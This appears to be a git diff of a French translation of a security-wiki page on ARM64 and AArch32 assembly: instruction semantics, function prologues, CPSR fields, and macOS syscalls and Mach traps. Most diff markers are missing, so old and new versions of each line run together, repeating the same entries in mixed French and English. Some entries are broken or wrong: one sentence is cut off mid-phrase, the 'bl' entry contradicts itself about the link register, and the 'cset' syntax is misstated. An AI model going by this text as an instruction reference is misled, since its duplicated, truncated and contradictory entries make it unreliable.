|
||||
- **`SBFIZ X1, X2, #3, #4`** Étend avec signe 4 bits de X2 et les insère dans X1 à partir de la position bit 3 en mettant à zéro les bits de droite
|
||||
- **`SBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2, les étend avec signe, et place le résultat dans X1
|
||||
- **`UBFIZ X1, X2, #3, #4`** Étend par zéro 4 bits de X2 et les insère dans X1 à partir de la position bit 3 en mettant à zéro les bits de droite
|
||||
- **`UBFX X1, X2, #3, #4`** Extrait 4 bits à partir du bit 3 de X2 et place le résultat étendu par zéro dans X1.
|
||||
- **Sign Extend To X :** Étend le signe (ou ajoute simplement des 0 dans la version non signée) d'une valeur pour pouvoir effectuer des opérations avec elle :
|
||||
- **`SXTB X1, W2`** Étend le signe d'un octet **de W2 à X1** (`W2` est la moitié de `X2`) pour remplir les 64 bits
|
||||
- **`SXTH X1, W2`** Étend le signe d'un nombre 16 bits **de W2 à X1** pour remplir les 64 bits
|
||||
- **`SXTW X1, W2`** Étend le signe d'un mot **de W2 à X1** pour remplir les 64 bits
|
||||
- **`UXTB X1, W2`** Ajoute des 0s (unsigned) à un octet **de W2 à X1** pour remplir les 64 bits
|
||||
- **`extr` :** Extrait des bits d'une **paire de registres concaténés**.
|
||||
- Exemple : `EXTR W3, W2, W1, #3` Cela **concaténera W1+W2** et obtiendra **du bit 3 de W2 jusqu'au bit 3 de W1** et le stockera dans W3.
|
||||
- **`cmp`** : **Comparer** deux registres et définir des flags de condition. C'est un **alias de `subs`** définissant le registre de destination sur le registre zéro. Utile pour savoir si `m == n`.
|
||||
- Il prend en charge la **même syntaxe que `subs`**.
|
||||
- Exemple : `cmp x0, x1` — Cela compare les valeurs dans `x0` et `x1` et définit les flags de condition en conséquence.
|
||||
- **`cmn`** : **Comparer un opérande négatif**. Dans ce cas, c'est un **alias de `adds`** et prend en charge la même syntaxe. Utile pour savoir si `m == -n`.
|
||||
- **`ccmp`** : Comparaison conditionnelle, c'est une comparaison qui ne sera effectuée que si une comparaison précédente était vraie et définira spécifiquement les bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 et x3 < x4, saute à func.
|
||||
- Cela est dû au fait que **`ccmp`** ne sera exécuté que si la **précédente `cmp` était un `NE`**, sinon les bits `nzcv` seront définis à 0 (ce qui ne satisfera pas la comparaison `blt`).
|
||||
- Cela peut également être utilisé comme `ccmn` (même mais négatif, comme `cmp` vs `cmn`).
|
||||
- **`tst`** : Vérifie si l'une des valeurs de la comparaison est 1 (cela fonctionne comme un ANDS sans stocker le résultat nulle part). C'est utile pour vérifier un registre avec une valeur et vérifier si l'un des bits du registre indiqué dans la valeur est 1.
|
||||
- Exemple : `tst X1, #7` Vérifie si l'un des 3 derniers bits de X1 est 1.
|
||||
- **`teq`** : Opération XOR en ignorant le résultat.
|
||||
- **`b`** : Branche inconditionnelle.
|
||||
- Exemple : `b myFunction`.
|
||||
- Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (non adapté pour les appels de sous-routine qui doivent revenir).
|
||||
- **`bl`** : **Branche** avec lien, utilisé pour **appeler** une **sous-routine**. Stocke l'**adresse de retour dans `x30`**.
|
||||
- Exemple : `bl myFunction` — Cela appelle la fonction `myFunction` et stocke l'adresse de retour dans `x30`.
|
||||
- Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (non adapté pour les appels de sous-routine qui doivent revenir).
|
||||
- **`blr`** : **Branche** avec Lien vers Registre, utilisé pour **appeler** une **sous-routine** où la cible est **spécifiée** dans un **registre**. Stocke l'adresse de retour dans `x30`. (Ceci est
|
||||
- Exemple : `blr x1` — Cela appelle la fonction dont l'adresse est contenue dans `x1` et stocke l'adresse de retour dans `x30`.
|
||||
- **`ret`** : **Retour** de **sous-routine**, généralement en utilisant l'adresse dans **`x30`**.
|
||||
- Exemple : `ret` — Cela retourne de la sous-routine actuelle en utilisant l'adresse de retour dans `x30`.
|
||||
- **`b.<cond>`** : Branches conditionnelles.
|
||||
- **`b.eq`** : **Branche si égal**, basé sur l'instruction `cmp` précédente.
|
||||
- Exemple : `b.eq label` — Si l'instruction `cmp` précédente a trouvé deux valeurs égales, cela saute à `label`.
|
||||
- **`b.ne`** : **Branche si non égal**. Cette instruction vérifie les flags de condition (qui ont été définis par une instruction de comparaison précédente), et si les valeurs comparées n'étaient pas égales, elle branche à une étiquette ou une adresse.
|
||||
- Exemple : Après une instruction `cmp x0, x1`, `b.ne label` — Si les valeurs dans `x0` et `x1 n'étaient pas égales, cela saute à `label`.
|
||||
- **`cbz`** : **Comparer et Brancher sur Zéro**. Cette instruction compare un registre avec zéro, et si elles sont égales, elle branche à une étiquette ou une adresse.
|
||||
- Exemple : `cbz x0, label` — Si la valeur dans `x0` est zéro, cela saute à `label`.
|
||||
- **`cbnz`** : **Comparer et Brancher sur Non-Zéro**. Cette instruction compare un registre avec zéro, et si elles ne sont pas égales, elle branche à une étiquette ou une adresse.
|
||||
- Exemple : `cbnz x0, label` — Si la valeur dans `x0` est non zéro, cela saute à `label`.
|
||||
- **`tbnz`** : Tester un bit et brancher sur non zéro.
|
||||
- Exemple : `tbnz x0, #8, label`.
|
||||
- **`tbz`** : Tester un bit et brancher sur zéro.
|
||||
- Exemple : `tbz x0, #8, label`.
|
||||
- **Opérations de sélection conditionnelle** : Ce sont des opérations dont le comportement varie en fonction des bits conditionnels.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si vrai, X0 = X1, si faux, X0 = X2.
|
||||
- `csinc Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = Xm + 1.
|
||||
- `cinc Xd, Xn, cond` -> Si vrai, Xd = Xn + 1, si faux, Xd = Xn.
|
||||
- `csinv Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = NOT(Xm).
|
||||
- `cinv Xd, Xn, cond` -> Si vrai, Xd = NOT(Xn), si faux, Xd = Xn.
|
||||
- `csneg Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = - Xm.
|
||||
- `cneg Xd, Xn, cond` -> Si vrai, Xd = - Xn, si faux, Xd = Xn.
|
||||
- `cset Xd, Xn, Xm, cond` -> Si vrai, Xd = 1, si faux, Xd = 0.
|
||||
- `csetm Xd, Xn, Xm, cond` -> Si vrai, Xd = \<tous 1>, si faux, Xd = 0.
|
||||
- Exemple: `EXTR W3, W2, W1, #3` Cela va **concaténer W1+W2** et obtenir **du bit 3 de W2 jusqu'au bit 3 de W1** et le stocker dans W3.
|
||||
- **`cmp`** : **Comparer** deux registres et régler les flags de condition. C'est un **alias de `subs`** mettant le registre de destination au registre zéro. Utile pour savoir si `m == n`.
|
||||
- Il supporte la **même syntaxe que `subs`**
|
||||
- Exemple: `cmp x0, x1` — Cela compare les valeurs dans `x0` et `x1` et règle les flags de condition en conséquence.
|
||||
- **`cmn`** : **Compare negative** opérande. Dans ce cas c'est un **alias de `adds`** et supporte la même syntaxe. Utile pour savoir si `m == -n`.
|
||||
- **`ccmp`** : Comparaison conditionnelle, c'est une comparaison qui sera effectuée seulement si une comparaison précédente était vraie et qui définira spécifiquement les bits nzcv.
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 et x3 < x4, sauter vers func
|
||||
- Ceci parce que **`ccmp`** ne sera exécuté que si la **cmp précédente était un `NE`**, si ce n'était pas le cas les bits `nzcv` seront mis à 0 (ce qui ne satisfera pas la comparaison `blt`).
|
||||
- Cela peut aussi être utilisé comme `ccmn` (même chose mais négatif, comme `cmp` vs `cmn`).
|
||||
- **`tst`** : Vérifie si certains bits de la comparaison sont à 1 (fonctionne comme ANDS sans stocker le résultat nulle part). Utile pour vérifier un registre avec une valeur et tester si certains bits du registre indiqués dans la valeur sont à 1.
|
||||
- Exemple: `tst X1, #7` Vérifie si l'un des 3 derniers bits de X1 est à 1
|
||||
- **`teq`** : Opération XOR en ignorant le résultat
|
||||
- **`b`** : Branch inconditionnel
|
||||
- Exemple: `b myFunction`
|
||||
- Notez que cela ne remplit pas le link register avec l'adresse de retour (donc pas adapté pour les appels de sous-routines qui doivent retourner)
|
||||
- **`bl`** : **Branch** with link, utilisé pour **appeler** une **sous-routine**. Stocke l'**adresse de retour dans `x30`**.
|
||||
- Exemple: `bl myFunction` — Appelle la fonction `myFunction` et stocke l'adresse de retour dans `x30`.
|
||||
- Notez que cela ne remplit pas le link register avec l'adresse de retour (pas adapté pour les sous-routines qui doivent revenir)
|
||||
- **`blr`** : **Branch** with Link to Register, utilisé pour **appeler** une **sous-routine** dont la cible est **spécifiée** dans un **registre**. Stocke l'adresse de retour dans `x30`.
|
||||
- Exemple: `blr x1` — Appelle la fonction dont l'adresse est contenue dans `x1` et stocke l'adresse de retour dans `x30`.
|
||||
- **`ret`** : **Retour** d'une **sous-routine**, typiquement en utilisant l'adresse dans **`x30`**.
|
||||
- Exemple: `ret` — Cela retourne de la sous-routine courante en utilisant l'adresse de retour dans `x30`.
|
||||
- **`b.<cond>`** : Branch conditionnel
|
||||
- **`b.eq`** : **Branch si égal**, basé sur l'instruction `cmp` précédente.
|
||||
- Exemple: `b.eq label` — Si la précédente instruction `cmp` a trouvé deux valeurs égales, ceci saute à `label`.
|
||||
- **`b.ne`** : **Branch si non égal**. Cette instruction vérifie les flags de condition (qui ont été réglés par une instruction de comparaison précédente), et si les valeurs comparées n'étaient pas égales, elle branche vers une étiquette ou une adresse.
|
||||
- Exemple: Après une instruction `cmp x0, x1`, `b.ne label` — Si les valeurs dans `x0` et `x1` n'étaient pas égales, ceci saute à `label`.
|
||||
- **`cbz`** : **Compare and Branch on Zero**. Cette instruction compare un registre avec zéro, et si égal, elle branche vers une étiquette ou adresse.
|
||||
- Exemple: `cbz x0, label` — Si la valeur dans `x0` est zéro, ceci saute à `label`.
|
||||
- **`cbnz`** : **Compare and Branch on Non-Zero**. Cette instruction compare un registre avec zéro, et si non égal, elle branche.
|
||||
- Exemple: `cbnz x0, label` — Si la valeur dans `x0` est non-zéro, ceci saute à `label`.
|
||||
- **`tbnz`** : Test bit and branch on nonzero
|
||||
- Exemple: `tbnz x0, #8, label`
|
||||
- **`tbz`** : Test bit and branch on zero
|
||||
- Exemple: `tbz x0, #8, label`
|
||||
- **Opérations de sélection conditionnelle** : Ce sont des opérations dont le comportement varie selon les bits conditionnels.
|
||||
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si vrai, X0 = X1, sinon X0 = X2
|
||||
- `csinc Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, sinon, Xd = Xm + 1
|
||||
- `cinc Xd, Xn, cond` -> Si vrai, Xd = Xn + 1, sinon, Xd = Xn
|
||||
- `csinv Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, sinon, Xd = NOT(Xm)
|
||||
- `cinv Xd, Xn, cond` -> Si vrai, Xd = NOT(Xn), sinon, Xd = Xn
|
||||
- `csneg Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, sinon, Xd = - Xm
|
||||
- `cneg Xd, Xn, cond` -> Si vrai, Xd = - Xn, sinon, Xd = Xn
|
||||
- `cset Xd, Xn, Xm, cond` -> Si vrai, Xd = 1, sinon, Xd = 0
|
||||
- `csetm Xd, Xn, Xm, cond` -> Si vrai, Xd = \<all 1>, sinon, Xd = 0
|
||||
- **`adrp`** : Calculer l'**adresse de page d'un symbole** et la stocker dans un registre.
|
||||
- Exemple : `adrp x0, symbol` — Cela calcule l'adresse de page de `symbol` et la stocke dans `x0`.
|
||||
- **`ldrsw`** : **Charger** une valeur **signée de 32 bits** depuis la mémoire et **l'étendre en signe à 64** bits.
|
||||
- Exemple : `ldrsw x0, [x1]` — Cela charge une valeur signée de 32 bits depuis l'emplacement mémoire pointé par `x1`, l'étend en signe à 64 bits, et la stocke dans `x0`.
|
||||
- **`stur`** : **Stocker une valeur de registre à un emplacement mémoire**, en utilisant un offset d'un autre registre.
|
||||
- Exemple : `stur x0, [x1, #4]` — Cela stocke la valeur dans `x0` à l'adresse mémoire qui est 4 octets plus grande que l'adresse actuellement dans `x1`.
|
||||
- **`svc`** : Effectuer un **appel système**. Cela signifie "Appel de Superviseur". Lorsque le processeur exécute cette instruction, il **passe du mode utilisateur au mode noyau** et saute à un emplacement spécifique en mémoire où se trouve le **code de gestion des appels système du noyau**.
|
||||
- Exemple: `adrp x0, symbol` — Cela calcule l'adresse de page de `symbol` et la stocke dans `x0`.
|
||||
- **`ldrsw`** : **Charger** une valeur **signée 32 bits** depuis la mémoire et **l'étendre avec signe à 64 bits**.
|
||||
- Exemple: `ldrsw x0, [x1]` — Cela charge une valeur 32 bits signée depuis l'adresse pointée par `x1`, l'étend à 64 bits, et la stocke dans `x0`.
|
||||
- **`stur`** : **Stocker** la valeur d'un registre dans un emplacement mémoire, en utilisant un offset depuis un autre registre.
|
||||
- Exemple: `stur x0, [x1, #4]` — Cela stocke la valeur de `x0` à l'adresse mémoire qui est 4 octets plus grande que l'adresse contenue dans `x1`.
|
||||
- **`svc`** : Faire un **appel système**. Cela signifie "Supervisor Call". Lorsque le processeur exécute cette instruction, il **passe du mode utilisateur au mode noyau** et saute vers un emplacement mémoire spécifique où le **code de gestion des appels système du noyau** est situé.
|
||||
|
||||
- Exemple :
|
||||
- Exemple:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; Charger le numéro d'appel système pour quitter (93) dans le registre x8.
|
||||
mov x0, 0 ; Charger le code d'état de sortie (0) dans le registre x0.
|
||||
svc 0 ; Effectuer l'appel système.
|
||||
mov x8, 93 ; Load the system call number for exit (93) into register x8.
|
||||
mov x0, 0 ; Load the exit status code (0) into register x0.
|
||||
svc 0 ; Make the system call.
|
||||
```
|
||||
|
||||
### **Prologue de Fonction**
|
||||
### **Function Prologue**
|
||||
|
||||
1. **Sauvegarder le registre de lien et le pointeur de cadre dans la pile** :
|
||||
1. **Sauvegarder le link register et le frame pointer sur la pile** :
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
2. **Configurer le nouveau pointeur de cadre** : `mov x29, sp` (configure le nouveau pointeur de cadre pour la fonction actuelle)
|
||||
3. **Allouer de l'espace sur la pile pour les variables locales** (si nécessaire) : `sub sp, sp, <size>` (où `<size>` est le nombre d'octets nécessaires)
|
||||
2. **Configurer le nouveau pointeur de cadre**: `mov x29, sp` (définit le nouveau pointeur de cadre pour la fonction courante)
|
||||
3. **Allouer de l'espace sur la pile pour les variables locales** (si nécessaire): `sub sp, sp, <size>` (où `<size>` est le nombre d'octets requis)
|
||||
|
||||
### **Épilogue de la fonction**
|
||||
|
||||
1. **Désallouer les variables locales (s'il y en avait)** : `add sp, sp, <size>`
|
||||
2. **Restaurer le registre de lien et le pointeur de cadre** :
|
||||
1. **Désallouer les variables locales (si elles ont été allouées)**: `add sp, sp, <size>`
|
||||
2. **Restaurer le registre de lien et le pointeur de cadre**:
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
3. **Return**: `ret` (retourne le contrôle à l'appelant en utilisant l'adresse dans le registre de lien)
|
||||
3. **Return**: `ret` (rend le contrôle à l'appelant en utilisant l'adresse dans le link register)
|
||||
|
||||
## État d'exécution AARCH32
|
||||
## AARCH32 État d'exécution
|
||||
|
||||
Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut fonctionner dans l'un des **deux ensembles d'instructions** : **`A32`** et **`T32`** et peut passer de l'un à l'autre via **`interworking`**.\
|
||||
Les programmes 64 bits **privilégiés** peuvent planifier l'**exécution de programmes 32 bits** en exécutant un transfert de niveau d'exception vers le 32 bits moins privilégié.\
|
||||
Notez que la transition de 64 bits à 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 déclenchant un programme en EL0). Cela se fait en définissant le **bit 4 de** **`SPSR_ELx`** registre spécial **à 1** lorsque le thread de processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke le **CPSR** des programmes **`AArch32`**. Ensuite, le processus privilégié appelle l'instruction **`ERET`** afin que le processeur passe à **`AArch32`** entrant en A32 ou T32 selon le CPSR**.**
|
||||
Armv8-A prend en charge l'exécution de programmes 32 bits. **AArch32** peut s'exécuter dans l'un des **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`interworking`**.\
|
||||
Des programmes 64 bits **privilégiés** peuvent déclencher l'**exécution de programmes 32 bits** en effectuant un transfert de niveau d'exception vers le 32 bits de moindre privilège.\
|
||||
Notez que la transition du 64 bits vers le 32 bits se produit avec un niveau d'exception inférieur (par exemple un programme 64 bits en EL1 déclenchant un programme en EL0). Cela se fait en définissant le **bit 4 de** le registre spécial **`SPSR_ELx`** **à 1** lorsque le thread de processus `AArch32` est prêt à être exécuté et le reste de `SPSR_ELx` stocke le CPSR du programme **`AArch32`**. Ensuite, le processus privilégié appelle l'instruction **`ERET`** pour que le processeur passe en **`AArch32`** entrant en A32 ou T32 selon le CPSR**.**
|
||||
|
||||
L'**`interworking`** se produit en utilisant les bits J et T du CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela se traduit essentiellement par le fait de définir le **bit le plus bas à 1** pour indiquer que l'ensemble d'instructions est T32.\
|
||||
Cela est défini lors des **instructions de branchement interworking**, mais peut également être défini directement avec d'autres instructions lorsque le PC est défini comme le registre de destination. Exemple :
|
||||
L'**`interworking`** se fait en utilisant les bits J et T du CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela revient essentiellement à définir le **bit le plus bas à 1** pour indiquer que le jeu d'instructions est T32.\
|
||||
Ceci est défini lors des **instructions de branchement d'interworking,** mais peut aussi être défini directement par d'autres instructions lorsque le PC est utilisé comme registre de destination. Exemple:
|
||||
|
||||
Un autre exemple :
|
||||
Un autre exemple:
|
||||
```armasm
|
||||
_start:
|
||||
.code 32 ; Begin using A32
|
||||
@ -264,60 +267,60 @@ mov r0, #8
|
||||
```
|
||||
### Registres
|
||||
|
||||
Il y a 16 registres de 32 bits (r0-r15). **De r0 à r14**, ils peuvent être utilisés pour **n'importe quelle opération**, cependant certains d'entre eux sont généralement réservés :
|
||||
Il y a 16 registres 32 bits (r0-r15). **From r0 to r14** ils peuvent être utilisés pour **n'importe quelle opération**, cependant certains d'entre eux sont généralement réservés :
|
||||
|
||||
- **`r15`** : Compteur de programme (toujours). Contient l'adresse de la prochaine instruction. En A32 actuel + 8, en T32, actuel + 4.
|
||||
- **`r11`** : Pointeur de cadre
|
||||
- **`r12`** : Registre d'appel intra-procédural
|
||||
- **`r13`** : Pointeur de pile
|
||||
- **`r14`** : Registre de lien
|
||||
- **`r15`**: Program counter (always). Contient l'adresse de l'instruction suivante. In A32 current + 8, in T32, current + 4.
|
||||
- **`r11`**: Frame Pointer
|
||||
- **`r12`**: Intra-procedural call register
|
||||
- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned)
|
||||
- **`r14`**: Link Register
|
||||
|
||||
De plus, les registres sont sauvegardés dans des **`registres bancarisés`**. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer un **changement de contexte rapide** dans la gestion des exceptions et les opérations privilégiées pour éviter la nécessité de sauvegarder et restaurer manuellement les registres à chaque fois.\
|
||||
Cela se fait en **sauvegardant l'état du processeur du `CPSR` au `SPSR`** du mode processeur auquel l'exception est prise. Lors des retours d'exception, le **`CPSR`** est restauré à partir du **`SPSR`**.
|
||||
De plus, les registres sont sauvegardés dans des **`banked registries`**. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer des **fast context switching** dans la gestion des exceptions et les opérations privilégiées afin d'éviter la nécessité de sauvegarder et restaurer manuellement les registres à chaque fois.\
|
||||
Ceci est réalisé en **sauvegardant l'état du processeur depuis le `CPSR` vers le `SPSR`** du mode processeur vers lequel l'exception est prise. Au retour de l'exception, le **`CPSR`** est restauré à partir du **`SPSR`**.
|
||||
|
||||
### CPSR - Registre d'état du programme actuel
|
||||
### CPSR - Registre d'état du programme courant
|
||||
|
||||
En AArch32, le CPSR fonctionne de manière similaire à **`PSTATE`** en AArch64 et est également stocké dans **`SPSR_ELx`** lorsqu'une exception est prise pour restaurer plus tard l'exécution :
|
||||
In AArch32 le CPSR fonctionne de manière similaire à **`PSTATE`** en AArch64 et est aussi stocké dans **`SPSR_ELx`** lorsqu'une exception est levée pour restaurer ensuite l'exécution :
|
||||
|
||||
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Les champs sont divisés en plusieurs groupes :
|
||||
Les champs sont divisés en quelques groupes :
|
||||
|
||||
- Registre d'état du programme d'application (APSR) : Drapeaux arithmétiques et accessibles depuis EL0
|
||||
- Registres d'état d'exécution : Comportement du processus (géré par le système d'exploitation).
|
||||
- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0
|
||||
- Execution State Registers: Comportement du processus (géré par l'OS).
|
||||
|
||||
#### Registre d'état du programme d'application (APSR)
|
||||
|
||||
- Les drapeaux **`N`**, **`Z`**, **`C`**, **`V`** (tout comme en AArch64)
|
||||
- Le drapeau **`Q`** : Il est défini à 1 chaque fois que **la saturation entière se produit** lors de l'exécution d'une instruction arithmétique saturante spécialisée. Une fois qu'il est défini à **`1`**, il maintiendra la valeur jusqu'à ce qu'il soit manuellement défini à 0. De plus, il n'y a pas d'instruction qui vérifie sa valeur implicitement, cela doit être fait en le lisant manuellement.
|
||||
- Drapeaux **`GE`** (Supérieur ou égal) : Ils sont utilisés dans les opérations SIMD (Single Instruction, Multiple Data), telles que "addition parallèle" et "soustraction parallèle". Ces opérations permettent de traiter plusieurs points de données en une seule instruction.
|
||||
- Les **`N`**, **`Z`**, **`C`**, **`V`** flags (comme en AArch64)
|
||||
- Le drapeau **`Q`** : il est mis à **`1`** chaque fois qu'une **saturation entière se produit** pendant l'exécution d'une instruction arithmétique saturante spécialisée. Une fois qu'il est mis à **`1`**, il conserve la valeur jusqu'à ce qu'il soit manuellement remis à **`0`**. De plus, il n'existe aucune instruction qui vérifie implicitement sa valeur ; il faut la lire explicitement.
|
||||
- Les drapeaux **`GE`** (Greater than or equal) : utilisés dans les opérations SIMD (Single Instruction, Multiple Data), telles que "parallel add" et "parallel subtract". Ces opérations permettent de traiter plusieurs éléments de données en une seule instruction.
|
||||
|
||||
Par exemple, l'instruction **`UADD8`** **ajoute quatre paires d'octets** (à partir de deux opérandes de 32 bits) en parallèle et stocke les résultats dans un registre de 32 bits. Elle **définit ensuite les drapeaux `GE` dans l'`APSR`** en fonction de ces résultats. Chaque drapeau GE correspond à l'une des additions d'octets, indiquant si l'addition pour cette paire d'octets **a débordé**.
|
||||
Par exemple, l'instruction **`UADD8`** **ajoute quatre paires d'octets** (à partir de deux opérandes 32 bits) en parallèle et stocke les résultats dans un registre 32 bits. Elle **met ensuite à jour les drapeaux `GE` dans l'`APSR`** en fonction de ces résultats. Chaque drapeau GE correspond à l'une des additions d'octet, indiquant si l'addition pour cette paire d'octets a **débordé**.
|
||||
|
||||
L'instruction **`SEL`** utilise ces drapeaux GE pour effectuer des actions conditionnelles.
|
||||
|
||||
#### Registres d'état d'exécution
|
||||
|
||||
- Les bits **`J`** et **`T`** : **`J`** doit être 0 et si **`T`** est 0, l'ensemble d'instructions A32 est utilisé, et s'il est 1, le T32 est utilisé.
|
||||
- Registre d'état de bloc IT (`ITSTATE`) : Ce sont les bits de 10 à 15 et de 25 à 26. Ils stockent les conditions pour les instructions à l'intérieur d'un groupe préfixé par **`IT`**.
|
||||
- Bit **`E`** : Indique l'**endianness**.
|
||||
- Bits de mode et de masque d'exception (0-4) : Ils déterminent l'état d'exécution actuel. Le **5ème** indique si le programme s'exécute en 32 bits (un 1) ou en 64 bits (un 0). Les 4 autres représentent le **mode d'exception actuellement utilisé** (lorsqu'une exception se produit et qu'elle est en cours de traitement). Le nombre défini **indique la priorité actuelle** au cas où une autre exception serait déclenchée pendant que celle-ci est en cours de traitement.
|
||||
- Les bits **`J`** et **`T`** : **`J`** doit être 0 et si **`T`** est 0 l'ensemble d'instructions A32 est utilisé, et s'il est à 1, c'est le T32 qui est utilisé.
|
||||
- **IT Block State Register** (`ITSTATE`) : Ce sont les bits 10-15 et 25-26. Ils stockent les conditions pour les instructions à l'intérieur d'un groupe préfixé **`IT`**.
|
||||
- Bit **`E`** : Indique le **endianness**.
|
||||
- **Mode and Exception Mask Bits** (0-4) : Ils déterminent l'état d'exécution courant. Le **5th** indique si le programme tourne en 32bit (un **1**) ou 64bit (un **0**). Les autres 4 représentent le **mode d'exception actuellement utilisé** (lorsqu'une exception survient et est traitée). Le nombre défini **indique la priorité courante** au cas où une autre exception serait déclenchée pendant le traitement.
|
||||
|
||||
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`** : Certaines exceptions peuvent être désactivées en utilisant les bits **`A`**, `I`, `F`. Si **`A`** est 1, cela signifie que des **abortions asynchrones** seront déclenchées. Le **`I`** configure la réponse aux **Demandes d'Interruption** (IRQ) matérielles externes. et le F est lié aux **Demandes d'Interruption Rapides** (FIR).
|
||||
- **`AIF`** : Certaines exceptions peuvent être désactivées en utilisant les bits **`A`**, `I`, `F`. Si **`A`** est **1**, cela signifie que des **asynchronous aborts** seront déclenchés. Le **`I`** configure la réponse aux **Interrupts Requests** (IRQ) matériels externes. Le **`F`** est lié aux **Fast Interrupt Requests** (FIR).
|
||||
|
||||
## macOS
|
||||
|
||||
### Appels système BSD
|
||||
### BSD syscalls
|
||||
|
||||
Consultez [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Les appels système BSD auront **x16 > 0**.
|
||||
Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**.
|
||||
|
||||
### Mach Traps
|
||||
|
||||
Consultez dans [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) la `mach_trap_table` et dans [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) les prototypes. Le nombre maximum de Mach traps est `MACH_TRAP_TABLE_COUNT` = 128. Les Mach traps auront **x16 < 0**, donc vous devez appeler les numéros de la liste précédente avec un **moins** : **`_kernelrpc_mach_vm_allocate_trap`** est **`-10`**.
|
||||
Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. The mex number of Mach traps is `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
|
||||
|
||||
Vous pouvez également consulter **`libsystem_kernel.dylib`** dans un désassembleur pour trouver comment appeler ces appels système (et BSD) :
|
||||
You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
|
||||
# iOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
|
||||
```
|
||||
Notez que **Ida** et **Ghidra** peuvent également décompiler **des dylibs spécifiques** à partir du cache simplement en passant par le cache.
|
||||
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
|
||||
|
||||
> [!TIP]
|
||||
> Parfois, il est plus facile de vérifier le code **décompilé** de **`libsystem_kernel.dylib`** **que** de vérifier le **code source** car le code de plusieurs syscalls (BSD et Mach) est généré via des scripts (voir les commentaires dans le code source) tandis que dans le dylib, vous pouvez trouver ce qui est appelé.
|
||||
> Parfois il est plus simple de vérifier le code **décompilé** de **`libsystem_kernel.dylib`** **plutôt que** de vérifier le **code source**, car le code de plusieurs syscalls (BSD et Mach) est généré via des scripts (vérifiez les commentaires dans le code source) tandis que dans le dylib vous pouvez trouver ce qui est appelé.
|
||||
|
||||
### appels machdep
|
||||
### machdep calls
|
||||
|
||||
XNU prend en charge un autre type d'appels appelés dépendants de la machine. Le nombre de ces appels dépend de l'architecture et ni les appels ni les nombres ne sont garantis de rester constants.
|
||||
XNU prend en charge un autre type d'appels appelés machine dependent. Les numéros de ces appels dépendent de l'architecture et ni les appels ni les numéros ne sont garantis de rester constants.
|
||||
|
||||
### page comm
|
||||
### comm page
|
||||
|
||||
C'est une page mémoire appartenant au noyau qui est mappée dans l'espace d'adresses de chaque processus utilisateur. Elle est destinée à rendre la transition du mode utilisateur vers l'espace noyau plus rapide que d'utiliser des syscalls pour les services du noyau qui sont utilisés tellement que cette transition serait très inefficace.
|
||||
C'est une page mémoire appartenant au noyau qui est mappée dans l'espace d'adressage de chaque processus utilisateur. Elle est conçue pour rendre la transition du mode utilisateur vers l'espace kernel plus rapide que l'utilisation de syscalls pour des services du kernel tellement utilisés que cette transition serait très inefficace.
|
||||
|
||||
Par exemple, l'appel `gettimeofdate` lit la valeur de `timeval` directement à partir de la page comm.
|
||||
